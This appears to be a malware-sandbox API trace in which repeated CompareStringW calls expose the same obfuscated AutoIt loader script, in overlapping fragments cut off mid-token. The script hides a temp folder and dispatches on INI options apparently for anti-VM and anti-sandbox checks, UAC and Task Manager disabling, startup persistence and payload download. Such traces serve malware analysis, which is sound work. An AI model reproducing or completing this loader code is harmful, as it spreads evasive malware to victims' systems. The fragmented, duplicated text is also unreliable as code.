$1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A14", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.197] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="34E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D7", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E1 = 24\r\nGlobal Const 